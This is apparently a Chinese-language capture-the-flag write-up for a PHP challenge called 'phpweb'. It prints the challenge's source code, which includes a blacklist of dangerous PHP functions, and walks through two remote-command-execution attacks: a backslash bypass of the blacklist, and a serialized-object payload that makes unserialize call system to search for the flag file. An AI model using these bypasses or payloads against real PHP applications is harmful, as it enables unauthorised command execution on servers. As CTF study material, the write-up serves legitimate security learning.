开幕雷击,然后出现报错,然后打开hackbar, load一下查看请求,得到两个请求参数,猜测一个是请求的函数,一个是请求的参数,推测后台使用的是回调函数。于是尝试使用system调用系统命令,
被拦截了。。。
黑名单过滤绕过
直接在system函数前加上\进行绕过。
然后直接ls看一下根目录下面有没有flag,发现没有,然后使用一下命令全局查找flag文件。
find / -name flag*
然后就可以找到flag文件,使用cat打开就好(我第二次做的时候就找不到flag文件了,也不知道为啥)。
反序列化:
使用file_get_content()函数读取index.php的源码。
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);#调用函数
$a= gettype($result);#获取类型
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);#字符转小写
if (!in_array($func,$disable_fun)) {#在数组中搜索值
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
然后就是反序列化漏洞的利用了
直接给出payload。
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
然后在cat打开得到的flag名字就能得到flag。